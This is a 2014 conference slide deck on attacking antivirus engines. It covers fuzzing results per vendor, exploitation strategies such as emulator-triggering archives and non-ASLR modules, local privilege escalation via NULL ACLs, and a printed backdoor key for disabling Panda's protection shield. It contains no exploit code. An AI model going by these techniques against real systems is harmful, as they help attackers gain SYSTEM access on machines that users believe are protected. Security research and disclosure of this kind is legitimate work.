Breaking Antivirus Software Joxean Koret, COSEINC (joxean@coseinc.com)

SYSCAN 2014

Breaking Antivirus Software Joxean Koret, COSEINC

SYSCAN 2014

Breaking antivirus software

Introduction

- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Antivirus products

What is an Antivirus? Extracted from Wikipedia:

- "An antivirus is a software used to prevent, detect and remove malware such as computer viruses".
- AV software can be focused in offering endpoint protection (Workstation products) or fileserver protection (Server products such as mail filters, SMB scanners, etc...).
- Overall, the general aim of an Antivirus is to offer a better level of protection than what the underlying operating system offers alone.

• And they often fail miserably...

Antivirus Engines

- Common features of AV engines:
 - Written in C/C++.
 - Signatures based engine + heuristics.
 - On-access scanners.
 - Command line/GUI on-demand scanners.
 - Support for compressed file archives.
 - Support for packers.
 - Support for miscellaneous file formats.
- Advanced common features:
 - Packet filters and firewalls.
 - Drivers to protect the product, anti-rootkits, etc...
 - Anti-exploiting toolkits.

Antivirus products, engines and bugs

- Regarding bugs, unless specified as fixed, all are 0days.
- An antivirus engine is just the core, the kernel, of an antivirus product.
- Some antivirus engines are used by multiple products.
 - For example, BitDefender is the most widely used antivirus kernel. It's used by many products like G-Data, QiHoo 360, eScan, F-Secure, etc...
 - Most "big" antivirus companies have their own engine but not all. And some companies, like F-Secure, integrate 3rd party engines in their products.
- In general, during this talk I will refer to AV engines, to the kernels, except when specified the word "product".

Antivirus users

- What the average user of an antivirus thinks after installing his/her preferred AV engine:
 - "I'm safe because I use an antivirus product".
- What some paranoid users of antivirus products thinks:
 - "I'm safe because I use various antivirus products".
- My opinion:
 - Any software you install makes you a bit more vulnerable. AV engines are no exceptions. Just the opposite.

. . .

Attack surface

- Fact: installing an application in your computer makes you a bit more vulnerable.
 - You just increased your attack surface.
- If the application is local: your local attack surface increased.
- If the application is remote: your remote attack surface increased.
- If your application runs with the highest privileges, installs kernel drivers, a packet filter and tries to handle anything your computer may do...
 - Your attack surface dramatically increased.

Myths and reality

Antivirus propaganda:

- "We make your computer safer with no performance penalty!"
- "We protect against unknown zero day attacks!".
- Reality:
 - AV engines makes your computer more vulnerable with a varying degree of performance penalty.
 - The AV engine is as vulnerable to zero day attacks as the applications it tries to protect from.
 - And can even lower the operating system exploiting mitigations, by the way...

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

- AV engines, commonly, are written in non managed languages due to performance reasons.
 - Almost all engines written in C and/or C++ with only a few exceptions, like the old MalwareBytes, written in VB6 (!?).
 - It translates into buffer overflows, integer overflows, format strings, etc...
- Most AV engines installs operating system drivers.
 - It translates into possible local escalation of privileges.
- AV engines must support a long list of file formats:
 - Rar, Zip, 7z, Xar, Tar, Cpio, Ole2, Pdf, Chm, Hlp, PE, Elf, Mach-O, Jpg, Png, Bz, Gz, Lzma, Tga, Wmf, Ico, Cur...
 - It translates into bugs in the parsers of such file formats.

- AV engines need to support such large list of file formats quickly and even better than the vendor.
- If an exploit for a new file format appears, customer will ask for support for such files as soon as possible. The longer it takes, the higher the odds of losing a customer moving on to another vendor.
- The producer doesn't need to "support" malformed files. The AV engine actually needs to do so.
 - The vendor needs to handle malformed files but only to refuse them as repairing such files is an open door for vulnerabilities.
 - Example: Adobe Acrobat

- Most (if not all...) antivirus engines run with the highest privileges: root or local system.
 - If one can find a bug and write an exploit for the AV engine, (s)he just won root or system privileges.
 - Sandboxes, virtual machines, etc... are extremely rare.
- Most antivirus engines updates via HTTP only protocols:
 - If one can MITM the connection (for example, in a LAN) one can install new files and/or replace existing installation files.
 - It often translates in completely owning the machine with the AV engine installed as updates are not commonly signed. Yes. They aren't.
- I will show later one of the many vulnerable products...

- AV engines often offer on-access scanners and behaviour based heuristic engines.
- Such scanners are usually implemented in 3 different ways:
 - A sandbox on top of the AV's Intel x86 emulator. Very slow but, also, very little odds to attack such component.
 - A driver to monitor file creation/access as well as process behaviour communicating with a user-level component. There is space for a possible EoP.
 - Injecting libraries in all user-processes and hooking special functions. The easiest way to implement heuristic engines.
- Often, such "protection" methods make things worst than not having an antivirus engine.
 - I'll show later on why with some real vulnerabilities...

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Vulnerabilities in AV engines

- Started around end of July/beginning of August to find vulnerabilities, for fun, in AV engines.
 - In my spare time, some hours from time to time.
- Found remote and local vulnerabilities in 14 AV engines or AV products.
 - Most of them in the first 2 months.
 - I tested ~17 engines (I think, I honestly do not remember).
 - It says it all.
- I'll talk about some of the vulnerabilities I found.
- The following are just a couple of them...

Some AV engines...

- Avast: Heap overflow in RPM (reported, fixed and Bug Bounty paid)
- Avg: Heap overflow with Cpio (fixed...)/Multiple vulnerabilities with packers
- Avira: Multiple remote vulnerabilities
- BitDefender: Multiple remote vulnerabilities
- ClamAV: Infinite loop with a malformed PE (reported & fixed, patch available soon)
- Comodo: Heap overflow with Chm
- DrWeb: Multiple remote vulnerabilities
- ESET: Integer overflow with PDF/Multiple vulnerabilities with packers
- F-Prot: Heap overflows with multiple packers
- F-Secure: Multiple remote vulnerabilities (contacted, amazingly collaborative)
- Ikarus: Memory corruption with ZOO (reported)
- Panda: Multiple local privilege escalations (reported and partially fixed)
- eScan: Remote command injection
 - And many more...

Broken AV products...

- The list is interminable... but, using this list http://www.av-comparatives.org/av-vendors/
 - ...anything using a 3rd party engine which is not Vipre, Norman, Cyren or Agnitum.
 - Examples: QiHoo 360, F-Secure, G-Data, eScan, Emsisoft, BullGuard, Immunet, etc...
 - + all the AV products using the AV engines mentioned in the previous slide.
 - + some rare AV products like BkAV.

How to find such vulnerabilities?

- I used initially a fuzzing testing suite of my own, Nightmare.
 - http://www.joxeankoret.com/download/Nightmare-0.0.2.tar.gz
 - I will eventually upload the code to GitHub.com
- I downloaded all the AV engines with a Linux version I was able to find.
 - The core is always the same with the only exception of some heuristic engines.
 - Also used some (dirty) tricks to run Windows only AV engines in Linux.
- Fuzzed the command line tool of each AV engine by simply using radamsa + the testing suite of ClamAV + many different EXE packers and some random file formats.
- Results: Dozens of remotely exploitable vulnerabilities.
- Also, I performed basic local and remote checks:
 - ASLR, null ACLs, updating protocol, network services, etc...

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Fuzzing statistics

- A friend of mine convinced me to write a fuzzer and do a "Fuzzing explained" like talk for a private conference.
 - Really simple fuzzing engine with a max. of 10 nodes.

 I'm poor... I cannot "start relatively small, with 300 boxes" like Google people does.

- Used this fuzzing suite to fuzz various Linux based AV engines, those I was able to run and debug.
- For that talk I did fuzz/test the following ones:
 - BitDefender, Comodo, F-Prot, F-Secure, Avast, ClamAV, AVG.
- Results...

ClamAV



- Only 1 non reproducible crash :(
 - Ran for about 2 weeks.
- Only 1 DOS (found manually)
 - 1 infinite loop with a malformed PE.
 - Asked to remain silent until a public patch is published.
- Honestly, I was very surprised.
- It seems they use fuzzing.
 - Well done guys!

F-Secure

- No crash at all. Only found 1 memory exhaustion bug with CPIO.
 - Consumes up to 4GB of memory.
- I was sure I was doing something wrong and I verified it later on...
- Decided not to continue at that moment because it was too heavy and required root for debug.



Avast



- 5 different bugs. Some of them disappeared quickly...
- 1 of them was exploitable.
 - RPM Support. Bug reported and fixed.
- This is one of the AV engines
 I fuzzed the most: ~1 month.
- They have a Bug Bounty!
 - Only reason why I contacted them.

Comodo AV

- Only 5 crashes.
- 2 different bugs.
- 1 seems to be exploitable.
 - Heap overflow with CHM files when uncompressing data...
- IMHO, it didn't fail more because they don't support anything...



F-Prot



- 4 different bugs.
- Only left for around 2/3 hours.
- The bugs seems to be all exploitables.
 - Armadillo, PECompact, ASPack and Yoda's Protector unpackers.
 - Crashes at memcpy coming from different paths...

AVG

- Hundred of crashes, fuzzed "manually" :(
 - Fuzzed ~3 days.
 - It sends crash reports automatically :/ I hate you.
 - It needs to be fed via STDIN. Annoying.
- 4 different bugs found.
- 2 of them seem to be exploitable.
 - CPIO and XAR files support.
 - Ist one fixed recently :/
 - XAR one still 0day.



BitDefender

- +1500 crashes.
- 7 different bugs.
 - Most of them with EXE unpackers and EXE uncompressors.
 - Thinstall and Shrinker, for example.
- 2 of them seems to be exploitable.



More about fuzzing AV engines

- Most AV engines are Windows only.
- However, we can still fuzz them in non Windows based environments (Linux requires less memory and disk).
- What I have done:
 - Try to run it with Wine. If it works use WineDBG + GDB server and connect IDA or GDB to the target.
 - If it doesn't work, reverse engineer the core engine and write a more simple wrapper for it.
 - Very time consuming but the best option.

More about fuzzing AV engines

- AV engines take a long while loading the core. They need to load all the signatures, unpack/decrypt them in memory, etc...
- The solution: use in-memory fuzzing.
 - Reverse engineer your favourite AV's core engine and find the functions where files are being scanned.
 - Debug the target application with IDA and use the AppCall feature to call those functions with your own input. For example.
 - You don't need to restart it again and again. Just wait for it to crash while continuously feeding fuzzed inputs.
- However, it may cause some false positives:
 - Some files/buffers can be discarded at some point before that scanning routine.

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

- What will be briefly covered:
 - Remote exploitation.
- What will be not:
 - Local exploitation of local user-land or kernel-land vulnerabilities.
 - I have almost no knowledge about kernel-land, sorry.
 - Later on, I will discuss some local vulnerability and give details about how to exploit it but it isn't kernel stuff and is too easy to exploit.

- Exploiting an AV engine is like exploiting any other client-side application.
 - Is not like exploiting a browser or a PDF reader.
 - Is more like exploiting an Office file format.
- Exploiting memory corruptions in client-side applications remotely can be quite hard nowadays due to ASLR.
 - However, AV engines makes too many mistakes too often so, don't worry ;)



- In general, AV engines are all compiled with ASLR enabled.
- But it's common that only the core modules are compiled with ASLR.
 - Not the GUI related programs and libraries, for example.
- Some libraries of the core of some AV engines are not ASLR enabled.
 - Check your target/own product, there isn't only one ;)

- Even in "major" AV engines...
 - ...there are non ASLR enabled modules.
 - ...there are RWX pages at fixed addresses.
 - ...they disable DEP.
- Under certain conditions, of course.
- The condition, often, is the emulator.

- The x86 emulator is a key part of an AV engine.
- It's used to unpack samples in memory, to determine the behaviour of an executable program, etc...
- Various AV engines create RWX pages at fixed addresses and disable DEP as long as the emulator is used.
 - Very common. Does not apply to only some random AV engine.
Exploiting AV engines (more tips)

- By default, an AV engine will try to unpack compressed files and scan the files inside.
- A compressed archive file (zip, tgz, rar, ace, etc...) can be created with several files inside.
- The following is a common AV engines exploitation scenario:
 - Send a compressed zip file.
 - The very first file inside forces the emulator to be loaded and used.
 - The 2nd one is the real exploit.

Exploiting AV engines

- AV engines implement multiple emulators.
- There are emulators for x86, AMD64, ARM, JavaScript, VBScript, in most of the "major" AV engines.
- The emulators, as far as I can tell, cannot be used to perform heap spraying, for example. But they expose a considerable attack surface.
 - It's common to find memory leaks inside the emulators, specially in the JavaScript engine.
 - They can be used to construct complex exploits as we have a programming interface to craft inputs to the AV engine.

Exploiting AV engines: Summary

- Exploiting AV engines is not different to exploiting other client-side applications.
- They don't have/offer any special self-protection. They rely on the operating system features (ASLR/DEP) and nothing else.
 - And sometimes they even disable such features.
- There are programming interfaces for exploit writers:
 - The emulators: x86, AMD-64, ARM, JavaScript, ... usually.
- Multiple files doing different actions each can be send in one compressed file as long as the order inside it is kept.
- Owning the AV engine means getting root or system in all AV engines I tested. There is no need for a sandbox escape, in general.

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Details about some vulnerabilities in AV engines and products...



Extracted from http://theoatmeal.com/comics/grump Copyright © Matthew Inman

Disclaimer

- I'm only showing a couple of my vulnerabilities.
 - I have the bad habit of eating 3 times a day...
- I contacted 5 vendors for different reasons:
 - Avast. They offer a Bug Bounty. Well done guys!
 - ClamAV. Their antivirus is Open Source.
 - Panda. I have close friends there.
 - Ikarus, ESET and F-Secure. They contacted me an asked for help nicely.
- I do not "responsibly" contact multi-million dollar companies.
 - I don't give my research for free.
 - Audit your products...

Local Escalation of Privileges



- In the product Global Protection 2013 there are various processes running as SYSTEM.
- Two of those processes have a NULL process ACL:
 - WebProxy.EXE and SrvLoad.EXE
- We can use CreateRemoteThread to inject a DLL, for example.
- Two very easy local escalation of privileges.
- But the processes are "protected" by the shield.

- Another terrible bug: The Panda's installation directory have write privileges for all users.
- However, again, the directory is "protected" by the shield...
- What is the fucking shield?
 - ...

- The Panda shield is a driver that protects some Panda owned processes, the program files directory, etc...
- It reads some registry keys to determine if the shield is enabled or disabled.
 - But... the registry key is world writeable.
- Also, it's funny, but there is a library (pavshld.dll) with various exported functions...

- All exported functions contains human readable names.
- All but the 2 first functions. They are called PAVSHLD_001 and 002.
- Decided to reverse engineer them for obvious reasons...
- The 1st function is a backdoor to disable the shield.
- It receives only 1 argument, a "secret key" (GUID):
 - ae217538-194a-4178-9a8f-2606b94d9f13
- If the key is correct, then the corresponding registry keys are written.
 - Well, is easier than writing yourself the registry entries...

MOAR PANDAZ

- There are more stupid bugs in this AV engine...
- For example, no library is compiled with ASLR enabled.
- One can write a reliable exploit for Panda without any real big effort.
- And, also, one can write an exploit targeting Panda Global Protection users for any program.
- Why? Because the product injects 3 libraries without ASLR enabled in all processes. Yes.

Panda

- I reported the vulnerabilities because I have friends there.
- Some of them are (supposedly) fixed, others not...
 - The shield backdoor.
 - The permissions of the Panda installation directory.
- The injection of non randomized libraries bug that allows writing targeted exploits remains...
- Also, during my latest testing of their very last version, other local vulnerabilities appeared...

ASLR related (Address Space Layout Randomization)

ASLR disabled

- We already discussed that Panda Global Protection doesn't enable ASLR for all modules.
- Do you believe this is an isolated problem of just one antivirus product?
- As it is common with antivirus products/engines, such problems are not specific...

One example...



Forticlient

The process av_task.exe is the actual AV scanner...

📙 🔠 FortiTray.	lexe	0.96	4.916 K	12.108 K	2564 FortiClient System Tray Contr	Fortinet Inc.		
📄 update_t	task.exe	0.44	4.312 K	9.512 K	1380 update_task	Fortinet Inc.		
🖂 📰 av_task.	exe	0.35	9.104 K	12.020 K	3052 av_task	Fortinet Inc.		
av_ta	ask.exe	1.82	9.852 K	13.904 K	2304 av_task	Fortinet Inc.		
spoolsv.exe			4.368 K	6.148 K	1928 Spooler SubSystem App	Microsoft Corporation		
svchost.exe			10.216 K	7.704 K	1972 Host Process for Windows S	Microsoft Corporation		
svchost.exe			3.344 K	5.504 K	308 Host Process for Windows S	Microsoft Corporation		
SearchIndex	xer.exe	0.31	15.192 K	8.688 K	3364 Microsoft Windows Search I	Microsoft Corporation		
💼 taskhost.exe	e	0.05	6.380 K	9.744 K	1464 Host Process for Windows T	Microsoft Corporation		
💼 taskhost.exe	9	0.20	3.368 K	8.628 K	3784 Host Process for Windows T	Microsoft Corporation		
sass.exe			2.560 K	6.220 K	516 Local Security Authority Proc	Microsoft Corporation		
📑 lsm.exe			1.708 K	3.948 K	524 Local Session Manager Serv	Microsoft Corporation		
CSISS.exe		0.24	1.208 K	4.224 K	412 Client Server Runtime Process	Microsoft Corporation		
🅼 winlogon.exe			1.728 K	4.752 K	440 Windows Logon Application	Microsoft Corporation		
🖃 🛜 explorer.exe		1.43	36.908 K	55.152 K	1392 Windows Explorer	Microsoft Corporation		
Name	Description	Con	npany Name	Path			ASLR	▲ Version
locale.nls				C:\Wir	ndows\System32\locale.nls		n/a	
mdare_sig				C:\Pro	gram Files\Fortinet\FortiClient\vir_sig\r	ndare_sig	n/a	
Sonteredulthis				C. 1970	noowstatiobalization to orang to orto erac	autrus	17.0	
libeay32.dll	OpenSSL Shared Library	The	OpenSSL Projec	st, htt C:\Pro	gram Files\Fortinet\FortiClient\libeay32	.dll		1.0.1.5
av_task.exe	av_task	Forti	net Inc.	C:\Pro	gram Files\Fortinet\FortiClient\av_task	.exe		5.0.7.333
utilsdll.dll	utility library	Forti	net Inc.	C:\Pro	gram Files\Fortinet\FortiClient\utilsdll.d	II		5.0.7.333
libavr.dll	AV repair library	Forti	net Inc.	C:\Pro	gram Files\Fortinet\FortiClient\libavr.dll			5.0.7.333
mdare.dll	Malware Detection and Remova	al E Forti	net Inc.	C:\Pro	gram Files\Fortinet\FortiClient\mdare.d	H		2.0.43.0
libav.dll	AV Engine Library	Forti	net Inc.	C:\Pro	gram Files\Fortinet\FortiClient\libav.dll			5.1.146.0
(: -	Hars Desfie Desire ADI	Mine		0.016	- January Constant 201 - 14 (and 14)		ACLD	0.1.7000.10008

Forticlient

- Most libraries and binaries in Forticlient doesn't have ASLR enabled.
 - Exploiting Forticlient with so many non ASLR enabled modules once a bug is found is trivial.
- You may think that this is a problem that doesn't happen to the "big" ones...
 - Think again.

2 random AVs nobody uses...



Kaspersky

- Libraries avzkrnl.dll and module vlns.kdl, a vulnerability scanner (LOL), are not ASLR enabled.
- One can write a reliable exploit for Kaspersky AV without any real effort.

📉 avp.exe	1.74	260.412 K	20.196 K	1648 Kaspersky Anti-Virus Kaspersky Lab ZAO	
ProtectedObjectsSrv.exe		1.000 K	3.000 K	1688 InfoWatch CryptoStorage Pr Infowatch	
svchost.exe		3.348 K	4.572 K	1736 Host Process for Windows S Microsoft Corporation	
svchost.exe		1.232 K	3.588 K	456 Host Process for Windows S Microsoft Corporation	
💽 svchost.exe	0.02	32.208 K	8.140 K	2804 Host Process for Windows S Microsoft Corporation	
SearchIndexer.exe		16.644 K	9.012 K	2880 Microsoft Windows Search I Microsoft Corporation	
taskhost.exe	0.05	6.188 K	8.656 K	3620 Host Process for Windows T Microsoft Corporation	
💽 Isass.exe	0.49	2.560 K	5.880 K	636 Local Security Authority Proc Microsoft Corporation	
💽 lsm.exe	0.31	1.696 K	3.968 K	644 Local Session Manager Serv Microsoft Corporation	
CSISS.exe	0.11	1.268 K	4.776 K	536 Client Server Runtime Process Microsoft Corporation	
🏨 winlogon.exe		1.852 K	4.692 K	560 Windows Logon Application Microsoft Corporation	
🖃 🔚 explorer.exe	0.28	29.132 K	44.916 K	1308 Windows Explorer Microsoft Corporation	
🥳 VBoxTray.exe	0.36	16.724 K	4.852 K	2736 VirtualBox Guest Additions Tr Oracle Corporation	
		0.400 K	0 100 1/		
Name Description	Cor	mpany Name	Path		ASLR 🔺
iswift.dat			C:\Pro	gramData\Kaspersky Lab\PURE13\Data\iswift.dat	n/a
			C.UD.		
vlns.kdl.317df7c0eff093 Vulnerability scanner	Kas	persky Lab ZAO	C:\Pro	gramData\Kaspersky Lab\PURE13\Bases\Cache\vIns.kdl.317df7c0	eff0939e6289f5c72f
avzkrnl.dli AVZ Kernel	Kas	persky Lab	C:\Pro	gram Files\Kaspersky Lab\Kaspersky PURE 3.0\avzkml.dll	4

BitDefender

• It's *kind of easier* to write an exploit for BitDefender...

📰 updatesrv.ex	e (.11 6.084 К е	6.416 K 63	376 Bitdefender Update Service	Bitdefender			
vsserv.exe	(.40 156.624 K E	6.972 K 64	444 Bitdefender Security Service 🔫		"Security	service"	mv ass
sass.exe		.10 2.752 K 5	5.836 K 5	512 Local Security Authority Proc	Microsoft Corporation	Security		my u35
lem eve		14 1.724 K 3	3.924 K F	520 Local Session Manager Serv	Microsoft Corporation			
Name	Description	Company Name	Path				ASLR 🔺	Version
smartdbv2.dat	· · · ·		C:\Program	m Files\Common Files\Bitdefender\B	Bitdefender Threat Scanner\A	ntivirus_20090_002\	n/a	
vsserv.exe	Bitdefender Security Service	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\vss	serv.exe			17.25.0.1071
npcomm.dll	Named Pipes Communication Syst	. BitDefender LLC	C:\Program	m Files\Bitdefender\Bitdefender\npo	comm.dll			8.0.0.2
vsserv.ui	Bitdefender Security Service	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ui\	vsserv.ui			17.6.0.22
iservconfig.dll	Product Info Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ise	rvconfig.dll			17.25.0.1074
bdch.dll	BitDefender Crash Handler	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bdo	ch.dll			3.0.2.714
logger.ui	Bitdefender Logger	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ui\l	logger.ui			17.10.0.278
framework.dll	framework	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\fran	mework.dll			17.18.0.778
gzfitdp.dll	BitDefender GzFltDp	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\gzf	itdp.dll			3.0.2.693
bdutils.dll	BDUtils Dynamic Link Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bdu	utils.dll			17.13.0.527
bdcore.dll	BitDefender Core	BitDefender	C:\Program	m Files\Common Files\Bitdefender\B	Bitdefender Threat Scanner∖A	ntivirus_20090_002\		11.0.1.6
accessal.dll	BitDefender OnAccessAL	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\acc	cessal.dll			3.0.2.762
scansp.dll	BitDefender ScanSP	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\sca	ansp.dll			3.0.2.744
bdsubmit.dll	Bitdefender Submission Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bd:	submit.dll			17.13.0.527
quarcore.dll	Quarantine Core	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\qua	arcore.dll			17.25.0.1061
wsutils.dll	WSUtils Dynamic Link Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ws	utils.dll			3.0.0.22
wspack.dll	Web Services Packing Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\wsj	pack.dll			3.0.0.22
wslib.dll	Web Services Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\wsl	lib.dll			3.0.0.22
otcore.dll	Bitdefender Antispam Core	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\otcore.dll			2.13.5.18034
txmlutil.dll	tinyxmlx Dynamic Link Library		C:\Program	m Files\Bitdefender\Bitdefender\txm	nlutil. dll			12.1.0.0
bdpop3p.dll	POP3 proxy	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bdg	pop3p.dll			17.23.0.989
bdpredir.dll	BitDefender Proxy Redirector User-	BitDefender	C:\Program	m Files\Bitdefender\Bitdefender\bdg	predir.dll			7.0.0.5
mimepack.dll	MIME packer	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\min	nepack.dll			2.0.71.0
wsc.dll	Bitdefender WSC	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ws	c.dll			17.25.0.1061
wsc.ui	Bitdefender WSC	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ui\	wsc.ui			17.6.0.22
bdsmtpp.dll	SMTP proxy	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bd:	smtpp.dll			17.23.0.989
bdelev.dll	Bitdefender Elevated Helper	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bde	elev.dll			17.21.0.908
bdusers.dll	BDUSERS Dynamic Link Library	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\bdu	users.dll			17.18.0.778
ipm.dll	In Product Messages	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ipm	n.dll			17.24.0.1034
ycryptp.dll	Yahoo Messenger Proxy	Bitdefender	C:\Program	m Files\Bitdefender\Bitdefender\ycr	yptp.dll			17.13.0.527
ashttpbr.mdl	HTTP Breaker Plugin	Copyright © 1997-2011 Bit	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\ashttpbr.r	mdl		2.13.5.18034
ashttpdsp.mdl	Bitdefender HTTP Dispatcher Plugi	n Copyright © 1997-2011 Bit	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\ashttpdsp	o.mdl		2.13.5.18034
ashttpph.mdl	Bitdefender AntiPhishing Plugin	Copyright © 1997-2011 Bit	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\ashttpph.	mdl		2.13.5.18034
ashttprbl.mdl	Bitdefender HTTP RBL Plugin	Copyright © 1997-2011 Bit	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\ashttprbl.	mdl		2.13.5.18034
asregex.dll	BitDefender Antispam Regular Exp.	BitDefender S.R.L.	C:\Program	m Files\Bitdefender\Bitdefender\ote	ngines_00027_002\asregex.c	ll l		1.6.0.40714
profapi.dll	User Profile Basic API	Microsoft Corporation	C:\Windov	ws\System32\profapi.dll			ASLR	6.1.7600.16385



BKAV

- BKAV is a Vietnamese antivirus product.
- Gartner recognizes it as a "Cool vendor in Emerging Markets".
- I recognize it as a "Cool antivirus for writing targeted exploits"...

BKAV

They don't have ASLR enabled for their services...

BkavSystemService.exe	0.12	17.436 K	14.920 K	920 Bkav System Service	Bkav Corporation	
BkavService.exe	0.47	5.508 K	7.696 K	1032 Bkav Service	Bkav Corporation	
svchost.exe		15.440 K	13.748 K	1080 Host Process for Windows S.	Microsoft Corporation	
🖃 💼 svchost.exe		28.080 K	30.992 K	1116 Host Process for Windows S.	Microsoft Corporation	
dwm.exe		4.644 K	8.448 K	2820 Desktop Window Manager	Microsoft Corporation	
svchost.exe	0.04	7.528 K	9.700 K	1156 Host Process for Windows S.	Microsoft Corporation	
svchost.exe	0.04	11.720 K	12.620 K	1432 Host Process for Windows S.	Microsoft Corporation	
spoolsv.exe		6.736 K	8.648 K	1584 Spooler SubSystem App	Microsoft Corporation	
svchost.exe		11.456 K	10.752 K	1648 Host Process for Windows S.	Microsoft Corporation	
BluProService.exe		3.716 K	6.480 K	1892 Bkav live update service	Bkav Corporation	
svchost.exe	0.01	5.544 K	8.416 K	1960 Host Process for Windows S.	Microsoft Corporation	
svchost.exe	0.01	32.084 K	17.284 K	1668 Host Process for Windows S.	Microsoft Corporation	
💽 taskhost.exe	0.06	7.832 K	11.672 K	2536 Host Process for Windows T.	Microsoft Corporation	
SearchIndexer.exe		17.556 K	10.236 K	3316 Microsoft Windows Search I.	. Microsoft Corporation	
svchost.exe	0.11	20.920 K	32.684 K	448 Host Process for Windows S.	Microsoft Corporation	
TrustedInstaller.exe		4.108 K	10.104 K	1460 Windows Modules Installer	Microsoft Corporation	
🗾 Isass.exe		4.912 K	8.936 K	604 Local Security Authority Proc	Microsoft Corporation	
📰 lsm.exe		4.208 K	6.392 K	612 Local Session Manager Serv	Microsoft Corporation	
CSISS.exe	0.10	1.284 K	5.588 K	496 Client Server Runtime Proces	s Microsoft Corporation	
🏨 winlogon.exe		4.080 K	6.992 K	524 Windows Logon Application	Microsoft Corporation	
E a explorer.exe	0.28	27.940 K	41.728 K	2736 Windows Explorer	Microsoft Corporation	
Name Description		n an Anne An Anne	Path	T		ASLB 🔺
locale nls	001	npany riano	\Devi	ce\BkavAutoShadow2\\//indows\Su	stem32\locale.pls	n/a
SortDefault nls			\Devi	ce\BkavAutoShadow2\Windows\Glo	balization\Sorting\SortDefault.n	ls n/a
KornolPaso dll mui			\Deui	New Standard Charles Contraction of the Standard Contracti	tom22) on US1K ornolP and dll m	
BkavScanDII0.dll Bkav scan module	Bkav	/ Corporation	C:\Pro	gram Files\BkavPro\System\AK\Bka	vScanD110.dll	
Corelib.dll Core library	Bkav	Corporation	C:\Pro	gram Files\BkavPro\System\AK\Cor	elib.dll	

and eller interested beiper

BKAV

 And, like Panda, they inject a non ASLR enabled library system wide, the Bkav "firewall" engine...

🖃 📻 explorer.exe		0.28	31.336 K	46.400 K	2736 Windows Explorer	Microsoft Corporation		
😽 VBoxTray.exe		0.75	3.480 K	7.592 K	2884 VirtualBox Guest Additions Tr	. Oracle Corporation		
🛃 jusched.exe			3.208 K	6.852 K	2904 Java(TM) Update Scheduler	Oracle Corporation		
🖂 🛟 Bka.exe		0.61	32.520 K	39.040 K	2924 Bkav Pro Internet Security	Bkav Corporation		
😲 BkavSystem	Server.exe	0.14	41.356 K	40.424 K	1812 Bkav System Server	Bkav Corporation		
🤁 BkavUtil.exe	9	0.23	2.080 K	5.364 K	3508 Bkav Util	Bkav Corporation		
C BLuPro.exe			5.128 K	11.232 K	2964 BkavPro	Bkav Corporation		
💭 procexp.exe		10.50	21.008 K	30.824 K	2416 Sysinternals Process Explorer	Sysinternals - www.sysinter		
		0.04	17017	10 COC K		NC 00 0		
Name	Description		Company Name	Path				ASLR 🔺
Name ActionCenter.dll.mui	Description		Company Name	Path \Devic	ce\BkavAutoShadow2\Windows\Syst	em32\en-US\ActionCenter.dll.r	mui	ASLR 🔺
Name ActionCenter.dll.mui KernelBase.dll.mui	Description		Company Name	Path \Devic \Devic	ce\BkavAutoShadow2\Windows\Syst ce\BkavAutoShadow2\Windows\Syst	em32\en-US\ActionCenter.dll.r em32\en-US\KernelBase.dll.mi	mui ui	ASLR A n/a n/a
Name ActionCenter.dll.mui KernelBase.dll.mui	Description		Company Name	Path \Devic \Devic	ce\BkavAutoShadow2\Windows\Syst ce\BkavAutoShadow2\Windows\Syst	em32\en-US\ActionCenter.dll.r em32\en-US\KernelBase.dll.mi	mui ui	ASLR A n/a n/a
Name ActionCenter.dll.mui KernelBase.dll.mui BkavFirewallEngine.dll	Description Bkav Firewall Engine	E	Company Name 3kav Corporation	Path \Devic \Devic C:\Pro	ce\BkavAutoShadow2\Windows\Syst ce\BkavAutoShadow2\Windows\Syst gram Files\BkavPro\System\Firewall\	em32\en-US\ActionCenter.dll.r em32\en-US\KernelBase.dll.m 3kavFirewallEngine.dll	mui ui	ASLR A n/a n/a
